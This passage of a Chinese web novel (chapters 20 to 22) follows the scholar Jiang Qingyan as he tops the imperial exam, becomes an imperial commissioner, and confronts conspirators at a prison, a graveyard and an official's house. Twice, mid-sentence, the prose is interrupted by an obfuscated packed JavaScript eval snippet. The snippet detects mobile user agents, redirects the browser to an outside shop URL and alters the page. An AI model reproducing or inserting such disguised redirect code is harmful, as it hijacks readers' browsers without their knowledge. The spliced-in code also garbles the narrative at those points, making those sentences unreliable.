同生共死。 这四个字，在这一刻有了更重的分量。 窗外，秋风萧瑟。 而京城的暗流，终于要浮出水面了。 20. 第 20 章 第二十章榜下捉婿 放榜那日，京城万人空巷。 贡院外的照壁前人山人海，挤得水泄不通。举子们、家仆们、看热闹的百姓们，全都伸长脖子，盯着那面即将贴出榜单的高墙。空气中弥漫着焦灼、期待、还有若有若无的恐慌——陈文正舞弊案已经传得沸沸扬扬，谁都想知道，今科会试的结果，到底还有几分可信。 江清砚没有去挤。他站在街对面的茶楼二楼雅间里，凭窗眺望。谢云辞站在他身后，手按腰间，目光锐利地扫视着楼下人群。 “你不去看榜？”谢云辞问。 “等会儿人散了再看。”江清砚轻声道，手中捧着热茶，脸色比前几日好了些，但依旧苍白，“现在去挤，徒增危险。” 他说得平静，谢云辞却从他眼中看出一丝隐藏的紧张——毕竟，这是三年寒窗的结果，没有人能真正淡然处之。 楼下忽然传来震天的锣鼓声！ “放榜了！放榜了！”有人高喊。 人群瞬间沸腾，像炸开的油锅。所有人都往前挤，哭喊声、欢呼声、推搡声混成一片。差役们拼命维持秩序，却如螳臂当车，很快被人潮淹没。 江清砚的视线紧紧盯着照壁。几个书吏正将巨大的黄榜张贴上去，墨迹淋漓，在阳光下泛着刺目的金光。 榜单从最后一名开始张贴，每贴一张，下面就爆发出一阵喧哗。有人喜极而泣，有人捶胸顿足，有人当场晕厥——这就是科举，千军万马过独木桥，几家欢喜几家愁。 谢云辞忽然皱眉:“不对劲。” “什么？” “你看那些差役。”谢云辞指着楼下维持秩序的官差，“他们的站位……太刻意了。像是在等什么。” 江清砚仔细看去。果然，那些差役看似散乱，实则隐隐围成了一个圈，圈的中心，正是照壁前最拥挤的区域。而且他们手握刀柄，眼神警惕，不像是维持秩序，倒像是在……防备什么。 或者，等待什么。 正想着，黄榜已经贴到了前十名。 第九名、第八名……每念一个名字，人群就安静一瞬，随即爆发出更大的喧哗。这些名字，有的声名显赫，有的籍籍无名，但能进前十，都已是一脚踏进了官场。 终于，第三名:“苏州府李慕言！” 楼下传来一声尖叫，是李慕言的声音。江清砚看到他被人群簇拥着，激动得满脸通红，几乎站不稳。那个活泼的王璞在他身边又跳又叫，比自己中了还高兴。 江清砚微微一笑。李慕言能中，他真心替他高兴。 第二名:“金陵府王璞！” 又是一阵喧哗。王璞愣在原地，随即“哇”的一声哭了出来，抱住李慕言嚎啕大哭。两个少年相拥而泣，周围人纷纷道贺。 只剩榜首了。 所有人都屏住呼吸，盯着照壁上最后那张黄纸。 书吏展开榜单，高声念出那个名字—— “润州府江清砚！” 刹那间，万籁俱寂。 所有人都愣住了。连差役都忘了维持秩序，呆呆地看着那张榜单。 江清砚自己也怔住了。他虽然自信考得不错，但会元……这超出了他的预料。 楼下，不知是谁先反应过来，爆发出震天的喧哗！ “江清砚？是那个揭了水鬼帮案子的江清砚？！” “天啊！会元！他才多大？！” “听说他身体不好，居然能撑过三场考试，还拿了会元……” 议论声、惊叹声、道贺声混在一起，像潮水般涌向茶楼。无数道目光投向二楼雅间，试图寻找那位新鲜出炉的会元。 江清砚站在窗边，迎着那些目光，面色平静。只有谢云辞能看到，他握着茶杯的手指，在微微颤抖。 不是激动，是……警觉。 太顺利了。 顺利得不正常。 一个牵扯进水鬼帮大案、又在考场目击舞弊抓捕的举子，居然能拿会元？阅卷的考官们，难道没有顾忌？ 除非……有人想让他中。 为什么？ 江清砚脑中飞快思索。是因为他揭了水鬼帮的案子，有人想借此拉拢？还是因为他在考场上看到了什么，有人想用功名堵他的嘴？ 亦或是……更深的算计？ 楼下忽然传来整齐的脚步声。 一队官差分开人群，快步走向茶楼。为首的正是那日在贡院押走陈文正的兵士头领，他面色冷峻，手握刀柄，目光如鹰隼般扫视四周。 人群自动分开一条路，议论声渐渐低下去。所有人都意识到——要出事了。 那队官差停在茶楼门口，头领抬头，看向二楼雅间的窗户，朗声道: “江清砚江公子可在？刑部有请。” 刑部。 不是报喜的衙役，不是道贺的同窗，是刑部。 江清砚与谢云辞对视一眼，都看到了对方眼中的凝重。 来了。 该来的，终究还是来了。 “我下去。”江清砚放下茶杯，整理了一下衣襟。 “我陪你。”谢云辞道。 两人一前一后下楼。茶楼大堂里鸦雀无声，所有人都看着他们，目光复杂——有羡慕，有同情，更多的是好奇。 走出茶楼，阳光刺目。江清砚微微眯眼，适应了一下光线，才看向那位兵士头领。 “学生江清砚，不知刑部传唤，所为何事？” 头领抱了抱拳，语气还算客气:“江公子，有桩案子需要你协助调查。请随我们走一趟。” “什么案子？” “到了刑部，自然知晓。” 江清砚点头，正要迈步，谢云辞却上前一步，亮出六扇门令牌:“我与他同去。” 头领看了令牌一眼，神色微变，但还是摇头:“谢总捕见谅，尚书大人有令，只请江公子一人。” “他身体不好，需要人照料。”谢云辞寸步不让。 “刑部自会安排大夫。” 两人僵持不下。 就在这时，远处又传来马蹄声。又一队人马疾驰而来，这次是穿着飞鱼服的锦衣卫！ 锦衣卫在茶楼前勒马，为首的是个面白无须的中年太监，他扫视一圈，目光落在江清砚身上，尖声道: “哪位是江清砚？” 江清砚上前一步:“学生便是。” 太监点点头，展开一卷黄绫:“圣上口谕，宣会元江清砚即刻进宫面圣。钦此。” 圣上口谕！ 所有人都跪下了，包括那些刑部的官差。江清砚也跪地接旨，心中却掀起了惊涛骇浪——皇帝要见他？为什么？ 太监宣完口谕，对刑部那头领道:“刘统领，江公子咱家带走了。刑部若有事，等江公子从宫里出来再说。” 刘统领脸色难看，却不敢违抗圣旨，只能躬身道:“是。” 太监看向江清砚，脸上堆起笑容:“江会元，请吧。马车已经备好了。” 江清砚起身，看向谢云辞。后者眼中满是担忧，却只能对他微微点头——圣旨面前，谁也不能违抗。 “谢兄，”江清砚低声道，“若我日落前未归，去找李尚书。” 谢云辞重重点头。 江清砚这才转身，跟着太监上了那辆华贵的马车。马车驶动，在众人复杂的目光中，朝着皇城方向而去。 谢云辞站在原地，看着马车消失在街角，手紧紧握成了拳。 胸中那颗共同的心脏，跳得又快又乱。 他能感觉到江清砚的紧张，也能感觉到……一丝决绝。 皇宫，养心殿。 江清砚跪在冰冷的金砖地上，额头触地。殿内燃着龙涎香，香气浓郁得让人头晕。他能听到自己的心跳声，沉重而急促。 “抬起头来。” 一个温和却威严的声音响起。 江清砚缓缓抬头。御案后坐着一位中年男子，穿着明黄常服，面容清癯，眼神深邃如潭——正是当今圣上，永昌帝。 永昌帝打量着他，许久，才道:“你就是江清砚？揭开水鬼帮案子的那个书生？” “回陛下，正是学生。” “朕看了你的考卷。”永昌帝拿起御案上的一沓纸，正是江清砚的会试答卷，“经义扎实，策论犀利，尤其是这篇论漕运之弊……” 他顿了顿，声音微沉:“你在文中提到，漕运之弊，根在吏治，非止于江湖。此言何解？” 江清砚心跳更快。他知道，真正的考验来了。 “回陛下，学生以为，水鬼帮之所以能猖獗多年，掳掠考生、贩卖人口、甚至染指科举，非一日之寒。其背后，必有官员庇护，有衙门失职。若只剿灭江湖匪类，不肃清吏治，则弊病难除，死灰复燃。” 他说得不疾不徐，字字清晰。 永昌帝盯着他:“依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863496|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你之见，哪些衙门失职？哪些官员庇护？” 江清砚深吸一口气，缓缓道:“都水司主管漕运，却对水鬼帮视而不见，是为失职。礼部掌管科举，却有郎中收受贿赂、为匪类疏通，是为庇护。至于更深层……” 他顿了顿，抬眼看向永昌帝:“学生不敢妄言。” “说。”永昌帝声音平静，却带着不容置疑的威严。 江清砚叩首:“更深层，恐怕牵扯到朝堂党争，甚至……皇子之争。” 殿内死一般寂静。 侍立的太监宫女个个面如土色，连呼吸都放轻了。 许久，永昌帝忽然笑了。 “好，好一个江清砚。”他放下考卷，站起身，走到江清砚面前，“你可知，你这些话，够杀头十次了？” “学生知道。”江清砚声音平稳，“但学生更知道，食君之禄，忠君之事。既读圣贤书，当为天下言。” 永昌帝看着他，眼神复杂。许久，他挥挥手:“你们都退下。” 太监宫女们如蒙大赦，悄无声息地退出大殿，关上殿门。 殿内只剩下君臣二人。 永昌帝在殿中踱步，缓缓道:“水鬼帮的案子，李崇明已经报上来了。陈文正招供了部分，但咬死是个人所为。至于观澜书院、都水司、甚至……皇子，都没有确凿证据。” 他停下脚步，看向江清砚:“你可有证据？” 江清砚沉默片刻，从怀中取出那枚从药庐得来的瓷片，还有谢云辞从福寿茶馆带回的带血铜钱，双手呈上。 “瓷片上的莲花印记，是都水司某位官员的私徽。铜钱是水鬼帮联络信物，在福寿茶馆掌柜尸体手中发现，掌柜死前紧紧攥着它。” 永昌帝接过，仔细查看，脸色越来越沉。 “至于观澜书院……”江清砚继续道，“学生虽无实证，但有多人目击，书院山长柳文渊与赵炎、陈文正等人往来密切。且被盗文集的‘作者’，多被藏匿在书院庇护之下。” 他顿了顿，补充道:“还有一事……学生怀疑，水鬼帮掳掠举子，不只是为了贩卖，更是为了……培植党羽，渗透科举，甚至……影响未来朝局。” 这话说得隐晦，但永昌帝何等聪明，立刻明白了。 培植党羽，渗透科举，影响朝局——这是要动摇国本！ “好大的胆子！”永昌帝怒极反笑，“区区江湖匪类，也敢染指朝堂？！” “陛下，”江清砚叩首，“正因其背后有人，才敢如此猖獗。” 永昌帝沉默了。 他走回御案后，坐下，手指轻轻敲击桌面。良久，才道:“江清砚，朕给你一个机会。” 江清砚抬头。 “朕命你为钦差，会同刑部、大理寺、都察院，彻查此案。”永昌帝一字一句道，“无论牵扯到谁，一查到底。你可敢？” 钦差。 江清砚愣住了。他一个刚中会元的举子，何德何能，担此重任？ 但看着永昌帝眼中的信任和期待，他忽然明白了——皇帝不是无人可用，而是……无人可信。 此案牵扯太广，朝中官员盘根错节，谁也不知道谁是清谁是浊。而他江清砚，一个毫无背景、刚入京城的书生，反而是最干净的人选。 “学生……”他深吸一口气，“敢。” “好！”永昌帝拍案而起，“朕赐你尚方宝剑，准你先斩后奏。但你要记住——此案凶险，务必小心。若遇危险，可随时进宫见朕。” “谢陛下隆恩。” 江清砚叩首，心中却沉甸甸的。 尚方宝剑，先斩后奏——这是多大的权力，也是多大的责任。 他知道，从这一刻起，他正式踏进了这场风暴的中心。 前路，恐怕比想象中更凶险。 但既然选择了，便只能往前走。 走出养心殿时，已是黄昏。 夕阳如血，将宫墙染成一片金红。江清砚站在高高的台阶上，看着这座雄伟的皇城，胸中那颗共同的心脏，跳得平稳而坚定。 他能感觉到，谢云辞就在宫门外等他。 同生共死。 这一次，他们要面对的，是整个朝堂的暗流。 但至少，他们不是独行。 江清砚迈步走下台阶，夕阳将他的影子拉得很长，很长。 前方，宫门缓缓打开。 新的征途，开始了。 21. 第 21 章 第二十一章铁证如山 马车驶出宫门时，天色已近黄昏。夕阳将宫墙的影子拖得老长，像一道道深色的疤痕刻在青石路面上。街上的行人少了，摊贩们开始收摊，偶尔有巡逻的兵士列队走过，甲胄碰撞声在空旷的街道上回响。 江清砚靠在车厢壁上，闭着眼，手中握着那柄尚方宝剑——剑身细长，剑鞘乌沉，刻着繁复的云龙纹。剑不重，却沉甸甸的，压得他心头喘不过气。 钦差。 这两个字意味着什么，他太清楚了。这是皇权特许的生杀大权，也是悬在头顶的利剑。用得好，能肃清奸邪；用不好，就是身败名裂，死无葬身之地。 马车忽然停了。 “江大人，刑部到了。”车夫在外低声道。 江清砚睁开眼，掀开车帘。刑部衙门的黑漆大门敞开着，门前立着两尊石狮，在暮色中显得格外狰狞。李崇明已经等在阶前，一身尚书官服，神色凝重。 “江钦差。”他拱手，语气正式。 “李大人不必多礼。”江清砚下车还礼，“学生……下官惶恐。” 李崇明看着他苍白的脸，眼中闪过一丝复杂，随即侧身引路:“请进，三司长官已在正堂等候。” 正堂灯火通明。除了李崇明，还有两人——大理寺卿张正言，都察院左都御史周明远。三人都是朝中重臣，此刻却因为一桩案子，要与一个刚中会元的少年共事。 张正言年约五旬，面容清瘦，目光锐利如鹰。周明远稍年轻些，国字脸，浓眉大眼，看起来颇为耿直。两人见江清砚进来，目光都落在他身上，尤其是他手中的尚方宝剑。 “下官江清砚，见过二位大人。”江清砚行礼。 “江钦差免礼。”张正言开口，声音低沉，“圣旨已到，三司会审水鬼帮一案，由你主理。但此案牵连甚广，还望钦差行事谨慎，勿要……操之过急。” 话中有话。 江清砚听出来了。张正言在提醒他，也在警告他——此案水深，别急着往前冲。 “下官明白。”他平静道，“敢问三位大人，案情进展如何？” 李崇明从案头取过一沓卷宗，推到他面前:“陈文正招供了部分，承认收受贿赂，为水鬼帮掳来的举子疏通科举关节。但咬死是个人所为，与旁人无关。至于观澜书院、都水司，一概否认。” 江清砚翻看卷宗。陈文正的供词滴水不漏，把所有罪责都揽在自己身上，像是……早就准备好了。 “可曾用刑？”他问。 “用了。”周明远接话，声音粗犷，“但那老骨头硬得很，打死不说。再打，怕是要死在刑部大牢里。” “那就别打了。”江清砚合上卷宗，“打出来的口供，也未必是真。” 三人对视一眼，都有些意外。 “江钦差的意思是……” “下官想见见陈文正。”江清砚抬起头，“单独见。” 刑部大牢在地下，阴冷潮湿，空气中弥漫着霉味和隐约的血腥气。江清砚跟在狱卒身后，走过长长的甬道。两侧牢房里关着形形色色的犯人，有的目光呆滞，有的嘶声喊冤，还有的蜷缩在角落，一动不动，像具尸体。 最深处的一间单独牢房，铁门厚重，门上只开了一个小窗。狱卒打开门锁，躬身道:“江钦差请。” 江清砚走进去。牢房里只有一张草铺，一张木桌，桌上放着一盏油灯。陈文正坐在草铺上，背靠着墙，闭着眼。他穿着囚服，头发散乱，脸上有鞭痕，但坐姿依旧挺直，依稀还能看出礼部郎中的风骨。 听到开门声，陈文正睁开眼。看到江清砚时，他眼中闪过一丝讶异，随即化作苦笑。 “江会元……不，该叫江钦差了。”他声音嘶哑，“恭喜。” 江清砚在木桌旁的凳子上坐下，将尚方宝剑放在桌上。剑身与桌面磕碰，发出沉闷的一声响。 陈文正的目光落在剑上，瞳孔微缩。 “陈大人认得这柄剑？”江清砚问。 “尚方宝剑，先斩后奏。”陈文正缓缓道，“圣上将此剑赐你，是要……大开杀戒了？” “下官不想杀人。”江清砚平静道，“只想查明真相。” “真相？”陈文正笑了，笑声里满是嘲讽，“真相就是，我陈文正贪财枉法，勾结匪类，扰乱科举。这就是全部的真相。” “是吗？”江清砚从袖中取出那枚带血的铜钱，放在桌上，“那这枚铜钱，为何会在福寿茶馆掌柜尸体手中？掌柜临死前紧紧攥着它，指甲都抠进了肉里——他是在向谁求救？又是在指证谁？” 陈文正的笑容僵住了。 “还有，”江清砚又取出那枚瓷片，“这瓷片上的莲花印记，是都水司某位官员的私徽。三年前，那位官员‘暴毙’家中，死因与都水司近日死的那几位一模一样——中毒诱发心疾。陈大人可知道，他们中的是什么毒？” 陈文正嘴唇动了动，没说话。 “是‘牵机引’。”江清砚替他答了，“一种罕见的毒药，无色无味，中毒者初期症状类似心疾，三日内必死。此毒产自南疆，京城里能用得起、拿得到的人，屈指可数。” 他顿了顿，看着陈文正的眼睛:“陈大人，你也是读书人，该知道什么叫‘兔死狗烹’。你现在把所有罪责揽下，保住了背后的人，可等你死了，那些人……会记得你的好吗？” 陈文正闭上了眼。 牢房里一片死寂，只有油灯燃烧的噼啪声。 许久，陈文正才重新睁开眼，声音低得像叹息:“江钦差，你太年轻了。有些事……知道得越少，活得越久。” “下官这条命，本就是捡来的。”江清砚轻声道，“多活一天，少活一天，没什么区别。但有些事，总得有人去做。” 他站起身，走到牢门前，背对着陈文正:“陈大人，下官给你一夜时间考虑。明日此时，若你还是什么都不说，那这枚带血的铜钱，这枚莲花瓷片，还有‘牵机引’的线索……下官会一并呈报圣上。到时候，查到哪里，牵连到谁，就不是下官能控制的了。” 说完，他推门而出。 铁门在身后关上，发出沉重的撞击声。 牢房里，陈文正盯着桌上那枚带血的铜钱，许久，颤抖着伸出手，将它握在掌心。铜钱冰凉，血渍已经干涸，却仿佛还带着掌柜临死前的绝望。 他闭上眼，一滴浑浊的泪从眼角滑落。 江清砚走出大牢时，天已经彻底黑了。刑部衙门的院子里点起了灯笼，昏黄的光在夜风中摇曳。 谢云辞等在院中，见他出来，立刻迎上:“怎么样？” “他动摇，但还不敢说。”江清砚揉了揉眉心，疲惫感如潮水般涌来，“背后的人……恐怕比他想象的更可怕。” “先回去休息。”谢云辞扶住他，“你脸色很差。” 两人正要离开，一个衙役匆匆跑来:“江钦差，李尚书有请，说有急事。” 李崇明在书房等着。见他们进来，立刻屏退左右，关上门，神色异常凝重。 “出什么事了？”江清砚问。 李崇明从怀中取出一封信，递给他:“半个时辰前，有人用箭射进刑部衙门的。信是给你的。” 信是素白信笺，上面只有一行字: “子时，城南乱葬岗，一个人来。若带人，周文远必死。” 周文远。 江清砚瞳孔骤缩——那是水鬼帮账本上提到的、被掳的举子之一，《周礼新解》的“作者”。陈文正要保进甲榜的那个人。 他还活着？ “这是陷阱。”谢云辞立刻道，“你不能去。” “可周文远……” “就算是真的，也是诱饵。”谢云辞握紧拳头，“他们想引你出去，在荒郊野外下手。” 江清砚沉默了。他当然知道这是陷阱。但周文远……那是活生生的人，是被水鬼帮残害的无辜者。若因为他不去，周文远被杀…… “我去。”他抬起头，眼神坚定，“但不会一个人去。” “你……” “谢兄，你暗中跟着。”江清砚看向谢云辞，“他们要我一个人，我就一个人去。但你在暗处接应。若真有危险，再出手。” 李崇明皱眉:“太危险了。乱葬岗那种地方，夜黑风高，对方若设下埋伏……” “正因为危险，才更要去。”江清砚轻声道，“他们敢约在乱葬岗，说明……已经狗急跳墙了。这是机会，抓住他们尾巴的机会。” 谢云辞盯着他看了半晌，最终咬牙点头:“好。但你要答应我，若有危险，立刻发信号，不要逞强。” “我答应。” 子时将至。 城南乱葬岗，名副其实。这里是京城弃尸的地方，常年阴气森森，连野狗都不敢靠近。今夜月黑风高，只有零星几点磷火在荒坟间飘荡，像鬼魅的眼睛。 江清砚提着灯笼，独自走在坟堆间。灯笼的光只能照亮脚下几步，四周是无边的黑暗，还有隐约的、不知是风声还是呜咽的声音。 他走得很慢，每一步都小心翼翼。胸中那颗共同的心脏跳得很快——那是谢云辞的紧张，通过联结传递过来。 忽然，前方出现一点火光。 不是磷火，是真正的火光——有人提着灯笼，站在一座高大的荒坟前。 江清砚停下脚步。 提灯笼的是个黑衣人，蒙着面，只露出一双眼睛。他身后，荒坟的墓碑上，绑着一个人——衣衫褴褛，披头散发，正是周文远。周文远嘴里塞着破布，看到江清砚，眼中爆发出希望的光芒，拼命挣扎。 “江钦差，果然守信。”黑衣人开口，声音嘶哑，显然刻意伪装过。 “放了周文远。”江清砚平静道。 “不急。”黑衣人轻笑，“先说说条件——你手里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863497|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的证据，包括那枚铜钱、那枚瓷片，还有你从陈文正那里得到的所有口供，全都交出来。然后辞去钦差之职，离开京城。如此，周文远活，你也活。” “若我不答应呢？” “那今晚，乱葬岗就再多两具尸体。”黑衣人语气转冷，“江钦差，你是个聪明人，该知道怎么选。” 江清砚沉默了。他借着灯笼的光，仔细观察黑衣人——身形中等，握灯笼的手很稳，虎口有茧，是练武之人。但更让他在意的，是黑衣人腰间挂着一块玉佩。 玉佩在火光下泛着温润的光，样式……很眼熟。 对了，春风阁。那夜赵炎与“柳先生”密谈，王璞曾偷听到，赵炎喊了一声“柳先生”。而柳文渊，观澜书院的山长，据说最喜收藏古玉。 眼前这块玉佩，与柳文渊常佩戴的那块，有七八分相似。 “你是柳文渊的人？”江清砚忽然问。 黑衣人身体一僵。 虽然只是一瞬，但江清砚捕捉到了。 “柳山长好手段。”他继续道，“一边在朝堂上装病避嫌，一边派人来灭口威胁。可惜……你犯了个错误。” “什么错误？” “你不该带周文远来。”江清砚缓缓道，“周文远是陈文正要保的人，是水鬼帮‘培养’的傀儡。你带他来，等于承认了观澜书院与水鬼帮的关联。更致命的是……” 他顿了顿，从袖中取出一个小瓷瓶:“周文远身上，被下了‘牵机引’。我闻得到——那股淡淡的苦杏仁味，和都水司死的那几位身上的一模一样。你们是想等交易完成，就让周文远‘突发心疾’而死，把一切推给水鬼帮灭口，对吧？” 黑衣人终于慌了。 他猛地后退一步，手中已多了一把匕首:“你……你怎么知道？” “因为‘牵机引’的配方，我见过。”江清砚平静道，“家母留下的医书里，记载过这种毒。解药，我也会配。” 他举起瓷瓶:“这里面，就是解药。放了周文远，我把解药给你。否则，他死了，你们的一切谋划，就都白费了。” 黑衣人手在颤抖。他看看江清砚，又看看身后奄奄一息的周文远，眼中闪过挣扎。 就在这时，远处忽然传来一声尖锐的哨响！ 那是谢云辞的信号——有埋伏！ 几乎同时，四周坟堆后窜出十几道黑影，手持利刃，直扑江清砚！ “动手！”黑衣人厉喝，匕首刺向周文远咽喉——他要灭口！ 江清砚早有准备，手中灯笼猛地掷向黑衣人，同时身形疾退！灯笼砸在黑衣人脸上，油火四溅，黑衣人惨叫一声，动作一滞。 就是这一滞的瞬间，一道黑影如鬼魅般从侧面扑来，匕首寒光一闪，直取黑衣人手腕！ 是谢云辞！ “当啷”一声，黑衣人的匕首脱手。谢云辞一脚将他踹飞，反手割断绑着周文远的绳索，将人护在身后。 与此同时，那十几道黑影已经围了上来。刀光剑影，杀声四起！ 江清砚退到一座荒坟后，从怀中取出竹筒，按下机关——尖锐的哨声响彻夜空，这是给刑部埋伏人马的信号！ 几乎瞬间，四周亮起火把！数十名刑部衙役、兵士从暗处冲出，将乱葬岗团团围住！ “放下兵器！否则格杀勿论！”李崇明的声音响起。 黑衣人见大势已去，纷纷丢下兵器投降。只有为首的那个——被谢云辞踹飞的黑衣人——挣扎着爬起来，从怀中掏出一个竹筒，就要往嘴里塞！ 谢云辞眼疾手快，一枚铜钱脱手而出，精准地打在他手腕上。竹筒落地，滚出几粒黑色药丸——是毒药，他想要服毒自尽。 衙役们一拥而上，将黑衣人按倒在地，扯下面巾。 面巾下，是一张陌生的脸。但江清砚注意到，他耳后有一个小小的刺青——船锚缠绕水蛇。 水鬼帮的人。 但腰间却挂着柳文渊的玉佩。 “带回去！”李崇明厉声道，“连夜审讯！” 衙役们将俘虏押走。谢云辞扶起奄奄一息的周文远，江清砚立刻上前，从瓷瓶中倒出一粒药丸，喂他服下。 周文远服下药，呼吸渐渐平稳，眼中有了焦距。他看着江清砚，嘴唇哆嗦着，许久，才挤出一句话: “账本……在柳文渊书房……暗格……” 说完，头一歪，晕了过去。 江清砚与谢云辞对视一眼，都看到了对方眼中的凝重。 账本在柳文渊书房。 这个证据，够不够铁？ 恐怕，还不够。 但至少，他们抓到了人，救下了周文远，还拿到了新的线索。 乱葬岗的火把渐渐散去，只留下满地狼藉。 夜风吹过荒坟，呜咽声更急，像是在为今夜这场生死博弈作注。 而真正的较量，才刚刚开始。 22. 第 22 章 第二十二章冤狱与共 刑部大牢的审讯持续了一整夜。 被抓的黑衣人叫王莽，确是水鬼帮的小头目，负责京城一带的“货物”转运。但他咬死一切都是个人所为，与旁人无关。至于腰间那块柳文渊的玉佩，他说是捡的。 捡的。 这种说辞连三岁孩童都骗不了，但王莽就是咬死不改口。刑具用了三套，他昏死过去三次，醒来依旧不改口供。 天快亮时，李崇明走出刑讯室，脸色铁青。 “嘴硬得很。”他对等在门外的江清砚和谢云辞道，“但也不是全无收获——他交代了几个水鬼帮在京城的小据点，还有……一条线索。” “什么线索？” “他说，周文远身上除了‘牵机引’，还被下了另一种毒。”李崇明压低声音，“那种毒不会立刻致命，但会让人神智逐渐混乱，最后……变成傻子。下毒的时间，就在他被掳后不久。” 江清砚心头一凛。 所以周文远在账本上被标注为“可造之材”，却又被下毒毁掉神智？这太矛盾了。 除非……下毒的不是水鬼帮，而是另有其人。下毒的目的，就是防止周文远清醒后，说出不该说的话。 “周文远现在如何？”他问。 “薛大夫在照料，暂时无碍。”李崇明道，“但毒已入脑，能否完全清除，难说。” 正说着，一个衙役匆匆跑来:“尚书大人！宫里来人了，宣您和江钦差即刻进宫！” 李崇明与江清砚对视一眼，都看到了对方眼中的凝重——这个时辰宣召，定是出了大事。 两人匆匆更衣，赶往皇宫。 养心殿内，气氛压抑。 永昌帝坐在御案后，面色阴沉。下方跪着两个人——一个是都察院左都御史周明远，另一个竟然是观澜书院山长，柳文渊。 柳文渊穿着素色长衫，头发梳得一丝不苟，面色从容，仿佛不是来受审，而是来赴宴。见到江清砚进来，他甚至微微颔首，露出一个温和的笑容。 “江钦差来了。”永昌帝开口，声音冰冷，“柳山长，把你刚才说的话，再说一遍。” 柳文渊叩首，声音平稳:“陛下，臣冤枉。臣与陈文正确有往来，但只是寻常诗文唱和，绝无勾结匪类之事。至于那块玉佩……臣数月前就已遗失，不知为何会落到匪徒手中。此必是有人栽赃陷害，欲借水鬼帮一案，打击朝中清流。” 他说得恳切，若非江清砚手握诸多线索，几乎要信了。 “栽赃陷害？”永昌帝冷笑，“那周文远呢？他亲口指证，账本在你书房暗格中。这又作何解释？” “周文远？”柳文渊抬头，眼中恰到好处地露出惊讶，“臣确实认识此人。他曾在观澜书院求学，但三年前因学业不精，已被书院除名。后来听说他误入歧途，与江湖匪类厮混，臣还曾痛心疾首。没想到他如今竟反咬一口，诬陷恩师……实在令人心寒。” 他顿了顿，看向江清砚:“江钦差年轻有为，破获大案，臣本应祝贺。但查案讲求证据，若仅凭一个疯癫之人的胡言乱语，就要定当朝太傅的罪……恐怕难以服众。” 字字诛心。 他在暗示，周文远已经神智不清，证词不可信。也在暗示，江清砚年轻气盛，急于立功，可能被人利用。 江清砚静静听着，等柳文渊说完，才上前一步，躬身道:“陛下，臣有一事不明，想请教柳山长。” “讲。” “柳山长说，周文远三年前因学业不精被书院除名。但据臣所知，周文远十五岁中秀才，十八岁中举人，乃是江南有名的才子。这样的学子，为何会‘学业不精’？” 柳文渊神色不变:“江钦差有所不知，科举考的是经义文章，书院教的却是做人的道理。周文远虽有才，但心术不正，好高骛远，常与一些来历不明的人来往。书院多次规劝无效，这才忍痛除名。” “哦？”江清砚从袖中取出一张纸，“那请柳山长解释一下，这封三年前的书信，是怎么回事？” 他将纸展开。那是一封泛黄的信笺，字迹清秀，落款是“学生周文远谨呈柳山长”。信中写道，周文远家中突遭变故，急需银两，恳请山长相助。并承诺，若山长施以援手，他日必当厚报。 “这封信，是从周文远被掳时随身携带的行李中找到的。”江清砚缓缓道，“信中提到‘家中变故’，但臣查过，周家三年前一切如常，并无变故。那么周文远为什么要写这封信？他又在向柳山长‘承诺’什么？” 柳文渊的脸色终于变了。 虽然只是一瞬，但没能逃过永昌帝的眼睛。 “柳文渊！”永昌帝厉声，“你还有何话说？” 柳文渊伏地叩首，声音发颤:“陛下明鉴！臣……臣确实借过银两给周文远，但那只是师长对学生的照拂，绝无他意！至于他后来为何会被水鬼帮掳走，臣实在不知啊！” “不知？”永昌帝怒极反笑，“好一个不知！那朕问你，陈文正招供，说他收受贿赂，为你观澜书院的学子疏通科举关节。这你又如何解释？” “臣冤枉！”柳文渊抬起头，眼中含泪，“陈文正那是血口喷人！他定是恨臣曾弹劾他收受考生贿赂，这才反咬一口！陛下，臣为官四十载，清白一世，怎能受此污蔑！” 他哭得情真意切，若非江清砚早有准备，几乎要被他骗过去。 “陛下，”江清砚再次开口，“臣请旨，搜查柳府。” 永昌帝盯着柳文渊看了许久，终于缓缓点头:“准。” “陛下！”柳文渊嘶声，“臣乃三朝元老，若无确凿证据就搜查府邸，让臣颜面何存？让天下士子如何看朝廷？” “若你是清白的，搜查又何妨？”永昌帝冷冷道，“江清砚，朕给你两个时辰。若搜不出证据，你便辞去钦差之职，向柳山长赔罪。” “臣，领旨。” 柳府坐落在京城东城，占地广阔，府内亭台楼阁，园林水榭，气派非凡。江清砚带着刑部衙役和兵士赶到时，柳府大门紧闭，管家带着一众家丁挡在门前。 “江钦差，我家老爷是当朝太傅，没有圣旨，谁敢搜查？”管家昂着头，一副有恃无恐的样子。 江清砚亮出尚方宝剑:“此剑如朕亲临，尔等敢抗旨？” 管家脸色一变，但依旧不让:“就算有尚方宝剑，也该有搜查文书……” 话未说完，谢云辞上前一步，一脚踹开大门:“啰嗦什么？搜！” 兵士们一拥而入。柳府顿时大乱，女眷的尖叫声、家丁的呵斥声、翻箱倒柜的声音混成一片。 江清砚直奔书房。 柳文渊的书房很大，三面墙都是书柜，藏书不下万卷。正中一张紫檀木书桌，桌上文房四宝俱全，还摆着几盆兰草，清雅非常。 周文远说账本在书房暗格，但暗格在哪里？ 江清砚仔细打量书房。书柜整齐，地面平整，墙壁光滑，看不出哪里有暗格。他走到书桌前，摸了摸桌面、抽屉、桌腿……都没有机关。 时间一分一秒过去。 